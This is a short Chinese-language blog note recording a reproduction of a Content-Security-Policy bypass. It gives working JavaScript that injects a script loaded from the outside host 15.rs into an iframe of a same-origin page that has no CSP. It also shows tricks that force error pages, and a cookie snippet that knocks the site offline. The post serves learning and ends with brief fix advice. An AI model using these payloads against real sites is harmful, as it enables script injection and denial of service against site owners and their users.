學習 bypass csp記錄
阿新 • • 發佈:2020-07-21
最近看到一篇bypas csp的記錄復現學習下
配置csp
這裡直接設定html頭達到配置csp的效果。
Content-Security-Policy: script-src 'self' 'unsafe-inline'
建立html,載入js,程式碼如下,
<meta charset="utf-8" http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'" ><!-- script-src 'self' 同源策略,即允許同域名同埠下,同協議下的請求 'unsafe-inline' 允許行內程式碼執行--> <script src="1.js"></script><!-- 引入內部js -->
可以正常執行
將js換成外部js看下
<meta charset="utf-8" http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'" ><!-- script-src 'self' 同源策略,即允許同域名同埠下,同協議下的請求 'unsafe-inline' 允許行內程式碼執行--> <script src="//15.rs"></script><!-- 引入外部js -->
可以看到被csp攔截了。
bypass csp
由於我本機404沒有csp直接iframe任意檔案即可
<meta charset="utf-8" http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'" ><!-- script-src 'self' 同源策略,即允許同域名同埠下,同協議下的請求 'unsafe-inline' 允許行內程式碼執行--> <body> <script> fm = document.createElement('iframe'); fm.src="/css/bootstrap.min.css"; fm.onload=()=>{ sc = document.createElement('script');sc.src='//15.rs/'; window.frames[0].document.head.appendChild(sc);//然後在iframe中嵌入script,載入js }; document.body.appendChild(fm);//首先建立iframe載入 </script> </body>
成功執行載入15.rs的js。
其他情況
若沒有找到未配置csp的頁面可以嘗試讓伺服器強制返回錯誤頁面
1、url解碼失敗 400
fm = document.createElement('iframe');
fm.src="/%sf%EF%BB%BF";
document.body.appendChild(fm);
2、url長度太長
fm = document.createElement('iframe');
fm.src="/"+"a".repeat(20000);
document.body.appendChild(fm);
3、超大cookie拒絕服務
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(3000)};
這樣這個站點就不能訪問了 ,有點尷尬。
修復建議
- 所有頁面配置csp
- 配置中只指定即可default-src 15.rs